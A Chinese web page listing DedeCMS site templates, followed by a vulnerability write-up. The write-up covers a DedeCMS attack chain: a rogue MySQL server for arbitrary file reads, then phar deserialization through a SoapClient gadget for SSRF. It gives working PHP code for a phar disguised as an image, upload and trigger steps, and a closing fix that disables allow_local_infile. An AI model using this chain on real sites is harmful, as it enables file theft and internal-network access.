-
餐饮加盟培训管理类网站...
-
特色火锅餐饮加盟店网站...
-
建筑规划施工类网站织梦...
-
渔具批发牧渔类网站织梦...
-
节能环保锅炉设备类网站...
-
行业资讯网类网站织梦模...
-
装修设计类网站织梦模板...
-
手机APP游戏下载类网站织...
-
投资理财金融公司类网站...
-
语言翻译机构类网站织梦...
-
天然绿色食品类网站织梦...
-
中英双语装修建材类网站...
-
五金制品厨房用品类网站...
-
有机生物产品类网站织梦...
-
民宿景区旅游类网站织梦...
-
花店鲜花配送类网站织梦...
-
不秀钢材质钢管类网站织...
-
金融理财投资类网站织梦...
-
建筑职业学校类网站织梦...
-
管理咨询培训机构类网站...
dedecms的后台存在ucenter功能,可以直接修改ucenter的配置,使网站的mysql连接。指向我们预先构造的rogue mysql server https://github.com/Gifts/Rogue-MySql-Server.git
设置之后我们就可以通过修改恶意服务端的设置来读取任意文件。 假如读取的文件路径是以phar协议开头的,那么读取的文件内容就会被反序列化。 根据dedecms的代码,我们可以利用soapclient内置类来构造反序列化pop链来ssrf。
<?phpclass Control{var $tpl;public $dsql;function __construct(){$this->dsql = new SoapClient(null,array('uri'=>'http://test:5555', 'location'=>'http://test:5555/aaa'));}}@unlink("dedecms.phar");$phar = new Phar("dedecms.phar");$phar->startBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");$o = new Control();$phar->setMetadata($o);$phar->addFromString("test.txt", "test");$phar->stopBuffering();?>
将生成的文件修改为dedecms.png,然后在dedecms上有很多地方都可以上传。
上传成功之后可以从文件列表中获取到图片链接。
phar://../uploads/allimg/190724/1_1529564891.png/test.txt
设置完成之后,刷新就可以触发ssrf。
解决方案:
临时解决方案
通过mysqli_options设置链接时禁用allow_local_infile配置可阻止该漏洞。
或在php.ini中改配置为mysqli.allow_local_infile = Off